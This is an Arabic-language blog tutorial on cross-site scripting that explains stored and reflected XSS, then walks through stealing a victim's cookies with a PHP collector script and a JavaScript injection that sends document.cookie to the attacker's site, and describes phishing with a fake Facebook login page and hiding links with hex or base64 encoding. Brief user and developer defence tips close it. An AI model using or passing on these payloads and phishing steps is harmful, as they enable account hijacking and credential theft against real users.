ثغرات XSS وكيفية استغلالها وكيف تحمي نفسك منها

ثغرات (XSS) هي اختصار Cross site scripting وتعتبر من الثغرات الشائعة جدا على تطبيقات الويب . وتعد من الثغرات التي تستهدف المستخدم .
وتتم بتنفيذ كود ملغم على شكل رابط او عنصر في الموقع على المتصفح وبواسطة مرور الماوس او الضغط على الرابط يتم تنفيذ الكود الملغم. وتوجد عدة انواع من الهجوم بهذه الثغرات واهمها:
    1. الهجوم المخزن (Stored xss attack) وهنا يكون كود الحقن مخزن في قاعدة بيانات الموقع.
    2. الهجوم العكسي(Reflected xss attack) وهو ارسال الهاكر رسالة محقونة بكود استغلال الثغرة الى ايميل الضحية او الى اي حساب موقع للضحية.
كيفية استغلال ثغرات XSS :
  توجد العديد من الطرق والاساليب لإستغلال ثغرات XSS تختلف هذه الطرق بإختلاف بإختلاف اهداف الهاكر ومن اخطر هذه الاهداف سرقة الكوكيز (Cookies) للضحية .توجية المستخدم الى صفحة دخول مزورة لموقع الضحية . وسنضع لكم مثال على كل من هذه الطريقتين ولكن احملكم مسئولية استخدامها:
     1- سرقة ملف الكوكيز (cookies) للضحية ممايمكن الهكر السيطره والتحكم بحسابك وسرقته. ولكي تقوم بتطبيق هذه الطريقة يجب اولا الحصول على موقع على الانترنت وليكن مجاني لتنفيذ اكواد php
بعد انشاء الموقع انشئ ملف php التسمية اختيارية مثلا test.php هذا الملف يحتوي على كود يقوم باستقبال الطلب من الضحية وتخزين الكوكيز الى ملف نصي او قاعدة البيانات. هنا سنخزن الكوكيز في ملف txt وسيكون الكود بشكل بسيط ومختصر كالتالي:
 <?php  
 $x=$_GET['c'];  
 $f=fopen('x.txt','w');  
 fwrite($f,$x);  
 ?>  

الان تبقى لنا انشاء كود الحقن وهو الكود الذي سنرسله للضحية او نقوم بتخزينه في قاعدة البيانات في الموقع المصاب بالثغرة . طبعا سيتم كتابة الكود بلغة جافا سكريبت كالتالي:
 <script>  
         var addr='yoursite/test.php?c='+ document.cookie;  
         document.innerHTML('<a href='+addr+'> click me </a>');  
 </script>  

هذا الكود سيقوم بطباعة رابط على الصفحة وعند الضغط على هذا الرابط سيتم ارسال كوكيز الضحية مباشره الى الموقع وسيتم تخزينها بملف x.txt في السيرفر بواسطة كود لغة php . وبعد ذلك يمكن ان تستخدم الكوكيز وتضيفها لمتصفحك والدخول مباشره لحساب الضحية او استخلاص اسم وكلمة السر للضحية واستخدام حسابه بشكل طبيعي الخطر الاكبر اذا كان الضحية هو مدير الموقع.
    2. توجيه المستخدم الى رابط اخر وليكن صفحة دخول مزورة لموقع الضحية . على موقعك وهذه الطريقة استخدمت بكثرة على الفيس بوك حيث تقوم بإنشاء صفحة تسجيل الدخول على موقعك وربط حقل الاسم وكلمة السر بقاعدة البيانات وتأخذ رابط الصفحة وترسله لشخص ما وعند ضغط الشخص على هذا الرابط سيتم فتح تسجيل الدخول للموقع المزور ولنفترض الفيس بوك سيقوم بإدخال البيانات وارسالها مباشره الى موقعك وستحفظ في قاعدة البيانات . والان صرت تمتلك بيانات تسجيل الدخول للمستخدم . طبعا هذه الطريقة موجوده في نظام باك تراك سابقا وحاليا في نظام كالي لينكس ولكن بشكل مؤقت يعني يجب ان يكون جهازك online على الشبكة وقت ضغط الضحية على الرابط بينما هنا بالعكس الرابط ساري المفعول حتى حذف الصفحة. طبعا فيس بوك تقوم بحذف الرسائل والروابط من هذا النوع . ولكن بإمكانك وضع الرابط على موقع اخر .. وتتم الطريقة بالتوجيه لصفحة دخول الفيس
الكثير من الهاكرز يقوموا بتشفير الرابط اما بالهكس HEX او تشفير base64 .
لاكتشاف وجود الثغرة في الموقع يمكنك كتابة كود html بسيط على حقل ادخال في الموقع اذا قام بتنفيذ الكود فالثغرة موجودة اما في حالة طباعة الكود كما هو فالموقع غير مصاب.
كيف تحمي نفسك من ثغرات XSS كمستخدم:
    .* تأكد من انك تستخدم اخر تحديث للمتصفح مع تفعيل كآفة خيارات الامان بما في ذلك XSS Filter . واذا كنت تستخدم متصفح فايرفوكس استخدم اضافة Noscript التي تقوم بحمايتك من اي هجوم من نوع XSS.
     .* قم بحذف جميع الحسابات مع كلمات السر المخزنة في المثصفح.
     .* لاتستخدم الخيارات تذكرني او البقاء متصلا عند تسجيل الدخول الى موقع ما.
     .* قم بتسجيل الخروج مباشرة من الموقع بعد الانتهاء من تصفحه.
اما اذا كنت مبرمج كيف تتحاشى ثغرات XSS  وتجعل الموقع خالي من ثغرات XSS يجب ان تعمل تحقق لكل البيانات المدخلة .في جهة المستخدم Client-side-scripting بواسطة javascript وايضا تحقق في جهة السيرفر server-side-scripting سواءا كنت تستخدم php او asp او jsp .
الى درس جديد في عالم الهاكر والحماية ..
مواضيع ذات صلة

0 اترك تعليقاً...